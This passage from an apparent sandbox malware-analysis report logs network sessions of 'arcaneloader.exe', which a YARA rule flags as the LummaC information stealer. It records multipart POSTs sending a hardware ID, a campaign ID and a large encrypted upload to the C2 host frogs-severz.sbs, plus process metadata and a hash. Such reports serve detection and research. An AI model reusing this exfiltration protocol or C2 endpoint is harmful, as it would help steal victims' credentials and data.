2024-11-23 14:03:12 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:03:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49718	172.67.155.47	443	280	C:\Users\user\Desktop\arcaneloader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:03:13 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6AAEYK46R6IOQ9S7O3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19970 Host: frogs-severz.sbs
2024-11-23 14:03:13 UTC	15331	OUT	Data Raw: 2d 2d 36 41 41 45 59 4b 34 36 52 36 49 4f 51 39 53 37 4f 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 44 41 45 41 44 33 42 38 39 36 46 36 37 42 44 38 44 43 46 43 30 42 43 46 46 30 32 43 45 34 0d 0a 2d 2d 36 41 41 45 59 4b 34 36 52 36 49 4f 51 39 53 37 4f 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 36 41 41 45 59 4b 34 36 52 36 49 4f 51 39 53 37 4f 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 70 79 6f 6b 6f Data Ascii: --6AAEYK46R6IOQ9S7O3Content-Disposition: form-data; name="hwid"D1DAEAD3B896F67BD8DCFC0BCFF02CE4--6AAEYK46R6IOQ9S7O3Content-Disposition: form-data; name="pid"3--6AAEYK46R6IOQ9S7O3Content-Disposition: form-data; name="lid"LPnhqo--pyoko
2024-11-23 14:03:13 UTC	4639	OUT	Data Raw: bb 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b Data Ascii: 2+?2+?2+?o?Mp5
2024-11-23 14:03:14 UTC	1005	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:03:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gs5rhbo3jl5g33hnght9jqju8t; expires=Wed, 19-Mar-2025 07:49:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=117XeTaDSEaCc4DGYeZm5CnYpWsE5pXRD12PHZnNWNsuRTxSH8qUsy3AX5IdwMVsGsPzmR798oFOvwOC9QYWrLkJovrmgxxm77uLqdjX6UPBlnXLCm3coX1kF0KIquOYIyqy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71b3935f1a42a3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1750&sent=13&recv=22&lost=0&retrans=0&sent_bytes=2840&recv_bytes=20932&delivery_rate=1642294&cwnd=154&unsent_bytes=0&cid=42c4f6ac29a54fe4&ts=831&x=0"
2024-11-23 14:03:14 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:03:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49724	172.67.155.47	443	280	C:\Users\user\Desktop\arcaneloader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:03:16 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PD2T8EIINYSKEORWQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1221 Host: frogs-severz.sbs
2024-11-23 14:03:16 UTC	1221	OUT	Data Raw: 2d 2d 50 44 32 54 38 45 49 49 4e 59 53 4b 45 4f 52 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 44 41 45 41 44 33 42 38 39 36 46 36 37 42 44 38 44 43 46 43 30 42 43 46 46 30 32 43 45 34 0d 0a 2d 2d 50 44 32 54 38 45 49 49 4e 59 53 4b 45 4f 52 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 44 32 54 38 45 49 49 4e 59 53 4b 45 4f 52 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 70 79 6f 6b 6f 6e 65 77 Data Ascii: --PD2T8EIINYSKEORWQContent-Disposition: form-data; name="hwid"D1DAEAD3B896F67BD8DCFC0BCFF02CE4--PD2T8EIINYSKEORWQContent-Disposition: form-data; name="pid"1--PD2T8EIINYSKEORWQContent-Disposition: form-data; name="lid"LPnhqo--pyokonew
2024-11-23 14:03:16 UTC	1008	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jd1gpd8b72q42aq9spj6aeennu; expires=Wed, 19-Mar-2025 07:49:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G3JBEVqfot7p6SYnWyQ61VYLv1HqG8JhmJ%2BmURKaXzR4m1bhEfOAh8L6RzFhwUx2P%2FvFXy5MBgnfOBUai%2F9a0gp0E7mcgOG73dL6mbNoYE0oD8jM8q4nuU2Vq2Wpb4R8DOuo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71b3a3e89c18c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1545&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=2137&delivery_rate=1922317&cwnd=169&unsent_bytes=0&cid=15fe59071520a229&ts=740&x=0"
2024-11-23 14:03:16 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:03:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49734	172.67.155.47	443	280	C:\Users\user\Desktop\arcaneloader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:03:18 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YM5UPZ14 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552578 Host: frogs-severz.sbs
2024-11-23 14:03:18 UTC	15331	OUT	Data Raw: 2d 2d 59 4d 35 55 50 5a 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 44 41 45 41 44 33 42 38 39 36 46 36 37 42 44 38 44 43 46 43 30 42 43 46 46 30 32 43 45 34 0d 0a 2d 2d 59 4d 35 55 50 5a 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 4d 35 55 50 5a 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 70 79 6f 6b 6f 6e 65 77 78 64 78 78 0d 0a 2d 2d 59 4d 35 55 50 5a 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --YM5UPZ14Content-Disposition: form-data; name="hwid"D1DAEAD3B896F67BD8DCFC0BCFF02CE4--YM5UPZ14Content-Disposition: form-data; name="pid"1--YM5UPZ14Content-Disposition: form-data; name="lid"LPnhqo--pyokonewxdxx--YM5UPZ14Content-D
2024-11-23 14:03:18 UTC	15331	OUT	Data Raw: 1b 23 1f b7 0f 48 a6 fd aa 74 1b ae 14 fc f4 16 19 e1 b2 21 62 02 f7 d3 ec 5c 8e 67 d4 9f ac 58 f3 fd b1 a9 d2 0d 96 73 3a cd 14 bf a4 b0 4b bf 78 9b 54 5b 25 b4 17 c0 8d 89 de 84 29 03 29 c1 ab 51 cd d5 9a 88 99 c2 46 68 f3 12 98 45 6e 8d 46 11 3b 5b 1b 84 d5 4f ba 24 65 16 4d fb 65 8d fa 52 ea 1e ae 9c fc 7c 02 24 a7 87 71 a9 cf 41 df b3 22 dd 06 19 f7 c0 02 57 7d ac 1a 7d 56 12 7c 67 97 72 fe 9d 63 ad 5b e9 81 57 bc 4b 7a 65 e0 35 ff a6 62 23 2c 7f 9a 6f 53 53 1e dd a5 05 d7 06 ec 8b 86 18 68 d6 4c 52 ad ce 08 21 df 0e 6c fe 46 99 92 c0 b3 f9 0b 17 d8 cf c7 3a 27 0c 34 bf 29 d7 b3 51 8d db 11 f3 3f cb a6 bc 54 52 4a 69 95 9f 2d db c1 52 68 77 ff bb e3 8c 24 f4 95 fb 1c 67 bd b7 43 af a5 16 06 0b 8a ff ef f6 c9 85 2b cc 89 c3 ca 52 26 20 39 65 7d 85 8b Data Ascii: #Ht!b\gXs:KxT[%))QFhEnF;[O$eMeR\|$qA"W}}V\|grc[WKze5b#,oSShLR!lF:'4)Q?TRJi-Rhw$gC+R& 9e}
2024-11-23 14:03:18 UTC	15331	OUT	Data Raw: 55 1d a1 15 1b ce 96 0c 0d 6a 7d e1 79 52 81 38 10 12 33 fd fd 6b 96 07 70 28 b0 8f 88 e8 23 9e 35 96 f0 10 68 4a a1 62 1e 6e 07 07 09 2e 8c 31 3f ce 85 7d 92 e3 d9 76 cb fd 66 a7 0d 8d 88 bd 72 20 14 62 25 95 df 58 68 1b 32 5e c4 12 15 83 63 34 5a f7 c8 5c 02 16 6f 76 7c e7 0f 4f eb 77 7f 30 6e af dd 30 9a 2e ee b6 7d 6e eb f1 55 63 ba 96 d5 52 fb c6 67 48 43 85 46 c6 c2 dd 83 2c 95 69 46 5e 95 76 35 bd 3e fa 7b 5e d0 bc f3 f4 53 c7 b4 a7 c1 23 d2 e2 6f ac 6c 7d ad b6 6b 6d b6 ae 23 28 a3 b4 c6 4f e2 8e fb de c4 90 da e3 c0 cc 80 62 84 1b 86 01 71 ed 44 a9 ee 73 7d f6 e6 6b 49 d6 2a 58 d2 c5 2d 0c dd 46 83 61 49 00 02 03 fe 05 34 c1 c9 34 0d 7b b0 d4 d0 a2 e2 aa 0d 7e 55 fe 5e 5f 82 c8 3d 98 8a a4 b0 0e a0 87 5b e0 2a 70 fb 17 4d fb 26 42 45 62 8c 06 00 Data Ascii: Uj}yR83kp(#5hJbn.1?}vfr b%Xh2^c4Z\ov\|Ow0n0.}nUcRgHCF,iF^v5>{^S#ol}km#(ObqDs}kIX-FaI44{~U^_=[pM&BEb
2024-11-23 14:03:18 UTC	15331	OUT	Data Raw: d6 bd 2c c4 a1 48 64 cf 25 c5 61 f5 6f 80 b0 97 68 89 79 89 25 7e 99 94 5b e0 06 67 7e 42 4b 5e bb 84 e2 ca b9 a1 1d 22 ac 1f 41 6d 30 d2 13 03 94 fb 4e cc 4d 15 59 ea cd 25 15 ad 22 d1 39 7e f9 65 38 c9 d0 60 e1 1b de ad 54 80 b6 0f 63 dd ff 1d 15 e3 cc cb 9c da c8 3c 9c ff 7a bd bb 15 b8 78 be 95 00 e1 45 a7 c2 97 da f3 7e 65 dc bb d1 c6 b6 ed 14 b0 ed f7 64 cb f6 a4 08 19 27 1b 4d 45 3a 1b 92 64 b2 e4 8b 4a 00 ab 2c f2 a2 2f 6e d3 48 68 61 ba 7c 41 51 e2 94 8c 85 4d 88 27 cf a1 9c 96 09 90 8b cf 8f 47 f0 1b c7 92 66 b7 4f bf d9 c7 a9 45 95 b6 7b 82 67 b4 af 8d d9 b9 41 89 dd 3e 04 6e 3c 57 95 09 57 1a a1 9f d5 d7 44 65 2d 16 1f a2 95 4b b0 14 45 f6 ac 35 3c 22 5e 98 e4 be d3 9a 74 d7 20 48 be 6d ab b7 6f 5b e7 6f a3 50 f7 b3 de 16 53 06 c4 90 f4 33 7e Data Ascii: ,Hd%aohy%~[g~BK^"Am0NMY%"9~e8`Tc<zxE~ed'ME:dJ,/nHha\|AQM'GfOE{gA>n<WWDe-KE5<"^t Hmo[oPS3~
2024-11-23 14:03:18 UTC	15331	OUT	Data Raw: d6 1a 4f 72 87 0d 6a 32 a7 a3 1f d5 21 21 9f 87 67 6e 90 48 ad d7 e6 23 27 7b 25 b4 48 36 24 7a 72 8a 08 5b a4 f6 ec 02 26 e0 b5 7f 04 75 7a cf ec 43 2d 61 53 83 b5 de 9b 82 9b 3b ad bb c7 3b 9d 3b f4 12 41 b0 55 2a cc 56 e6 36 7c 43 24 97 1c 1b b2 70 88 38 da e2 d0 b8 1b 44 e9 4b b5 6e ed 54 9b 53 40 2c eb 42 7f 62 ff f4 4b 1d f0 a3 b7 21 46 95 f3 5e 46 a9 29 36 e1 99 ea a2 2f 4f 72 6c 16 ed 5b a4 3e 93 d4 ae cf fe fc a7 90 9a f1 12 b5 66 fd ae e3 86 65 4a a9 68 7a 7b 43 09 ef 7c 1a 75 ea 8a 5d e2 bc 1f af 21 6f af 54 a0 75 40 24 65 99 b8 ea 55 a2 bf 3d 71 f9 0a ef de d5 aa 81 e0 81 b3 33 b0 df 9d fe 12 8e 79 4e d5 84 f0 14 8c 28 81 7b 93 84 34 08 e8 7f 0f 77 3d 9d 75 46 f2 a0 49 0f da a5 ca a7 56 17 61 da da 9b 03 67 e4 1b f3 5e cf d3 1f 75 28 59 8d 65 Data Ascii: Orj2!!gnH#'{%H6$zr[&uzC-aS;;;AU*V6\|C$p8DKnTS@,BbK!F^F)6/Orl[>feJhz{C\|u]!oTu@$eU=q3yN({4w=uFIVag^u(Ye
2024-11-23 14:03:18 UTC	15331	OUT	Data Raw: ee c1 d1 1b 37 7a 11 80 74 55 eb de 10 e5 98 2a 71 b2 84 4d 61 b6 32 c1 a1 40 16 6c 1d 18 8e 81 72 05 c0 97 ec ae a2 d5 74 48 df 19 b0 c4 49 49 68 54 6e 5a 23 88 95 17 05 f2 7f 5e e2 e4 81 2c 33 f6 c9 cf d8 29 1c 6c d6 8e 03 f9 fa a8 e8 64 2b 03 87 52 a1 c0 a1 88 dc 34 be 68 e4 30 1a 33 6b 5d 43 9b 23 2d d8 c2 8d 3c c4 4e c0 c6 76 1e f8 98 af 51 ed 72 16 79 41 00 fe 65 99 5b 9b 5c 75 89 53 f2 11 7b 9a 2e 2c 76 59 20 e6 fb e8 ce 99 cb cf 2c e5 7b 2f 4c d9 a3 63 79 33 9a a6 d4 4c 59 fd 74 0d cc 7f 5e ab 7b 6f 02 1f fb 01 d1 e4 56 50 37 5b d7 78 cd 65 10 ef 8e 85 37 b2 fb ee b9 1f 18 95 83 23 15 49 67 00 32 c1 2b 2e 06 72 b9 57 fd c6 c6 3e 90 ae 12 49 27 28 14 39 64 17 76 5c 14 c4 1c da 6d 85 27 23 14 95 6a a7 61 bd 8a fa 46 ad e9 20 45 cf 94 37 d6 39 55 13 Data Ascii: 7ztU*qMa2@lrtHIIhTnZ#^,3)ld+R4h03k]C#-<NvQryAe[\uS{.,vY ,{/Lcy3LYt^{oVP7[xe7#Ig2+.rW>I'(9dv\m'#jaF E79U
2024-11-23 14:03:18 UTC	15331	OUT	Data Raw: ac 53 2c bc 82 9a fe 9c 59 29 ca 7d 35 99 44 91 d2 d6 f8 25 aa 5d 90 c0 89 ee fa 36 6f 6c 19 6c 29 08 d6 e6 6a b6 1a bc b2 dc d2 aa 4c 42 29 42 c0 49 4a db 76 f1 03 84 83 e8 3d ff b7 22 34 7c c7 af 2b fc f4 a1 2e 59 a3 fc aa f5 1d c7 4a dd ce 4f 08 2c 6c 15 62 42 ac 89 9b 0d 64 5d 3c b6 08 de a9 3c 67 8a 8b 8c d1 bc 46 24 36 b5 32 ee c1 7e b7 38 d0 fe bf b5 82 b2 12 28 ee fb 44 a3 80 31 5a 15 a2 06 9e a1 bb c0 09 91 54 be ed 6f 63 b4 14 de e4 fd 48 ca e3 29 fc e8 6b ac 4d 66 fa 53 78 38 04 72 f2 f1 5f 44 58 25 80 f1 83 f1 6d 90 1c f8 46 81 0f b1 16 57 3d f5 80 f0 83 59 20 66 4f 2d 69 36 b7 22 04 9f 2f 8b 46 17 72 65 2e c4 0d a8 a7 61 19 04 84 5b 57 50 99 17 4d ce 31 d4 00 95 c8 98 41 17 3f 72 96 e1 dd 37 78 ae 30 09 85 34 df dd a7 84 fe ed 89 37 23 94 73 Data Ascii: S,Y)}5D%]6oll)jLB)BIJv="4\|+.YJO,lbBd]<<gF$62~8(D1ZTocH)kMfSx8r_DX%mFW=Y fO-i6"/Fre.a[WPM1A?r7x047#s
2024-11-23 14:03:18 UTC	15331	OUT	Data Raw: c1 67 db 8e 99 f9 a1 fa ae f3 14 dc 4c 15 f5 8f 90 d9 ae a1 5b 2f ec 0a 0d d8 79 e6 d8 20 2e 6a 58 f4 f7 eb 48 6c 13 8f c3 7a 25 84 eb ee 63 a4 89 07 83 1f d0 c2 a1 31 ab 64 6e c3 14 19 2e 0e c6 1c 17 de c5 62 19 cc e7 7c f3 a2 7f 0f e4 c1 a7 73 6b 38 ef 45 96 b2 ec 13 a9 1a ba 4a 89 de 74 59 9b af 06 dc 12 df 5b b2 c2 12 15 7a 1f db de b6 5a e4 c3 e9 fe e2 26 17 79 77 12 f7 73 c3 e7 e6 e2 46 f4 52 9b bc 42 75 ed 76 d1 b6 d7 49 e2 c7 03 ea f8 48 2a f0 8f 08 56 e5 55 7c 2d c3 e8 10 b1 a5 99 34 46 69 57 e6 12 0b f8 70 fd 17 5d 0c fd 49 37 21 1c 55 c6 c1 3f db d9 29 06 2b 64 6b 64 29 99 43 d4 cc 75 6a 9b 78 8d 0f da 07 88 88 40 17 71 f9 c8 29 a5 f6 54 6c ef aa 6c 7f c4 76 d9 83 80 c5 89 5d f4 d3 48 26 8a 31 72 4d 63 bf 04 f1 fb 73 eb bc 13 85 aa c1 4a 2d fc Data Ascii: gL[/y .jXHlz%c1dn.b\|sk8EJtY[zZ&ywsFRBuvIH*VU\|-4FiWp]I7!U?)+dkd)Cujx@q)Tllv]H&1rMcsJ-
2024-11-23 14:03:18 UTC	15331	OUT	Data Raw: 4a 63 fd 0f 4e 3a ba c0 8b ce 2a 91 53 8d 14 73 97 62 75 d7 68 f5 e1 d6 ad 17 bc a0 71 55 cb de ed 72 91 7b df 13 19 e9 56 16 0f 22 46 ab ee ef 8f 5c c9 23 dc e9 db d8 53 1b 54 6d b3 07 d3 af 6e 8f 27 25 b2 f1 35 e6 0c 22 97 04 93 f3 20 f1 63 ca 2a 25 fb 34 52 d5 72 9a 2c c5 44 44 96 76 6d 6b 74 da a1 16 ad 2d df ba 44 d5 6a 54 49 48 6a b6 22 d7 50 58 64 79 fa a8 38 25 08 2d 94 34 e2 e3 4a e5 a2 22 13 b8 55 df 1d f1 07 bd 44 b7 f1 84 34 26 6d 7b 0e 4b 3f ed a6 7d a2 f2 cf b5 e4 03 70 a8 28 4f 56 7a 4e 69 64 c1 2d 34 a2 03 0d 2f 75 ff a7 f4 8c c1 16 5d e6 e7 bd 37 46 74 41 aa 12 c1 e8 ff 6d 00 5b b7 66 f5 ca 81 f6 07 95 27 fe b9 a4 22 b9 49 f3 85 2d ea 9d 90 e1 f5 4b aa ba 18 66 b1 15 5d 8b 0d 58 ac ac 9b ef b1 21 d4 c1 0d 02 6e d1 50 0c 0e 25 b6 85 6a ff Data Ascii: JcN:SsbuhqUr{V"F\#STmn'%5" c%4Rr,DDvmkt-DjTIHj"PXdy8%-4J"UD4&m{K?}p(OVzNid-4/u]7FtAm[f'"I-Kf]X!nP%j
2024-11-23 14:03:18 UTC	15331	OUT	Data Raw: 55 a6 f4 8e 64 a5 a3 61 54 38 ea 5a 34 5d 96 1b 98 26 ac c3 d1 df be 66 7f 2b a3 07 82 33 e1 bc 41 a6 68 92 7e 23 f4 cc ba 65 a6 b5 1a db af 9e 84 a7 16 6e fa a5 b2 6f d9 11 58 e3 b7 24 76 a9 ca 52 d8 ad ef b1 6c ec 2d b5 00 1b 38 02 15 89 82 95 bf 6c ca 39 4e ba a0 16 e6 30 f0 33 75 3e b1 ef 7b 86 17 34 60 74 c3 7a 03 e1 04 68 78 08 ef db 75 f5 6e 6e ed 7a 30 fb af 4d 0d 9f 8c f4 35 32 d3 24 6c 1b 1c 4d d9 f5 df 94 fb aa 9d c3 ee 02 fb e7 ba e4 48 cb 6e 44 ea af 79 58 02 d1 79 bc 25 2e b4 c6 32 df c5 09 07 0d 3b 63 49 6e 0c 38 7c cf c1 c6 45 91 8e fe af 2f 95 52 b8 da f8 37 3b a8 69 4a 29 ff 5a 6d 1b a8 0c e4 8f 99 67 ba 85 f7 f9 20 5b 6a cb d0 d8 be 7f a8 59 fb 63 7f 92 1a 43 56 d2 23 12 69 ad fb c3 02 76 b8 c3 14 15 99 17 2e f6 6a e1 81 93 b7 d6 42 46 Data Ascii: UdaT8Z4]&f+3Ah~#enoX$vRl-8l9N03u>{4`tzhxunnz0M52$lMHnDyXy%.2;cIn8\|E/R7;iJ)Zmg [jYcCV#iv.jBF
2024-11-23 14:03:20 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:03:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jsdbvch0koecbpg7ng5lkeos46; expires=Wed, 19-Mar-2025 07:49:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3PEMMfNmgpzmil54KBQ27GMkefjhCSsZuVEB3TYFNb5CLM4H5WbrdnastZr%2F16GLCUO3eP4H4F%2BYom8zHJ%2FUIVUhbm8MYWVSLiBVOkTBcAtYCSkbbl%2FA9z62SyW2xJvOezkR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71b3b3892d0f6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1499&sent=310&recv=569&lost=0&retrans=0&sent_bytes=2839&recv_bytes=555071&delivery_rate=1801357&cwnd=180&unsent_bytes=0&cid=dfe6838815712377&ts=2222&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49746	172.67.155.47	443	280	C:\Users\user\Desktop\arcaneloader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:03:22 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 89 Host: frogs-severz.sbs
2024-11-23 14:03:22 UTC	89	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 70 79 6f 6b 6f 6e 65 77 78 64 78 78 26 6a 3d 26 68 77 69 64 3d 44 31 44 41 45 41 44 33 42 38 39 36 46 36 37 42 44 38 44 43 46 43 30 42 43 46 46 30 32 43 45 34 Data Ascii: act=get_message&ver=4.0&lid=LPnhqo--pyokonewxdxx&j=&hwid=D1DAEAD3B896F67BD8DCFC0BCFF02CE4
2024-11-23 14:03:23 UTC	1003	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:03:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sq4lu7holombfm9fekl35reg19; expires=Wed, 19-Mar-2025 07:50:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nFs30RESq474Na9pK5QSQukxLtBqFsodYvx9tC8kSyUV4tCJf6TWA32jkZWXRdYnEJF0l09YGMwnVIssL8RZIqL%2BiSYzNyRTA8joK7sVvvlJk0epod03C9f0hnBp2y9Qwe97"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71b3ca1a24429e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2223&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=989&delivery_rate=1292607&cwnd=192&unsent_bytes=0&cid=4c200d84bad00f7b&ts=760&x=0"
2024-11-23 14:03:23 UTC	54	IN	Data Raw: 33 30 0d 0a 61 42 63 52 67 67 64 31 31 4d 35 6a 69 76 42 54 75 73 51 77 4e 61 4f 7a 44 2f 35 47 66 51 34 50 65 77 4e 68 58 48 34 35 71 58 38 7a 53 67 3d 3d 0d 0a Data Ascii: 30aBcRggd11M5jivBTusQwNaOzD/5GfQ4PewNhXH45qX8zSg==
2024-11-23 14:03:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:03:00
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\arcaneloader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\arcaneloader.exe"
Imagebase:	0xdb0000
File size:	507'392 bytes
MD5 hash:	F6AF7A6808F0E831FED6566C54B1E94E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.2147698291.000000000349E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:03:00
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
